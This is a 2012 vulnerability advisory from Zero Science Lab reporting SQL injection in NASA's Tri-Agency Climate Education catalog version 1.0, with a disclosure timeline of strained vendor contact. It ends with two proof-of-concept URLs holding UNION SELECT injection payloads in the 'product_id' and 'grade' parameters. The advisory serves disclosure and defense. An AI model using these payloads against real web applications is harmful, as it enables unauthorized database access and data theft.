NASA Tri-Agency Climate Education (TrACE) 1.0 SQL Injection

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NASA Tri-Agency Climate Education (TrACE) v1.0 SQL Injection Vulnerability  
  
  
Vendor: NASA  
Product web page: http://www.nasa.gov  
Affected version: 1.0  
  
Summary: The Tri-Agency Climate Education (TrACE) Catalog provides search and  
browse access to a catalog of educational products and resources. TrACE focuses  
on climate education resources that have been developed by initiatives funded  
through NASA, NOAA, and NSF, comprising a tri-agency collaboration around  
climate education.  
  
Desc: The application suffers from an SQL Injection vulnerabilities when input  
is passed to the 'product_id' and 'grade' GET parameters in 'trace_results.php'  
script which is not properly sanitised before being returned to the user or used  
in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary  
SQL code.  
  
Tested on: Apache/2.2.21  
PHP 5.2.17  
  
  
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
Zero Science Lab - http://www.zeroscience.mk  
  
  
Vendor status:  
  
[03.10.2012] Vulnerability discovered.  
[03.10.2012] Initial contact with the vendor.  
[04.10.2012] No reply from vendor.  
[05.10.2012] Tried contacting the vendor again.  
[12.10.2012] No reply from vendor.  
[13.10.2012] Last try contacting the vendor.  
[15.10.2012] Vendor replies stating that the problem is solved?!  
[16.10.2012] Replied to vendor that no problems are solved because no details were sent nor problems explained.  
[17.10.2012] Vendor decides to talk serious and asks for details, cynically.  
[18.10.2012] Sent detailed information and PoC files to the vendor.  
[22.10.2012] Asked vendor for status report.  
[22.10.2012] No reply from vendor.  
[23.10.2012] Vendor silently patches the application (v2.0).  
[23.10.2012] Asked vendor to have proper communication.  
[25.10.2012] No reply from vendor.  
[25.10.2012] Pointed out to the vendor about disclosure policy and ethical communication.  
[26.10.2012] Public security advisory released.  
  
  
Advisory ID: ZSL-2012-5112  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5112.php  
  
  
  
03.10.2012  
  
  
  
PoC:  
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https://www.example.com/trace/trace_results.php?product_id=117+union+all+select+concat(unhex(hex(cast(database()+as+char)))0,2,3,4,5,6,7--  
https://www.example.com/trace/trace_results.php?product_id=117&project_id=40&funder=31&pi=43&grade=99999.9+union+all+select+concat(unhex(hex(cast(database()+as+char)))0,2,3,4,5,6,7--  
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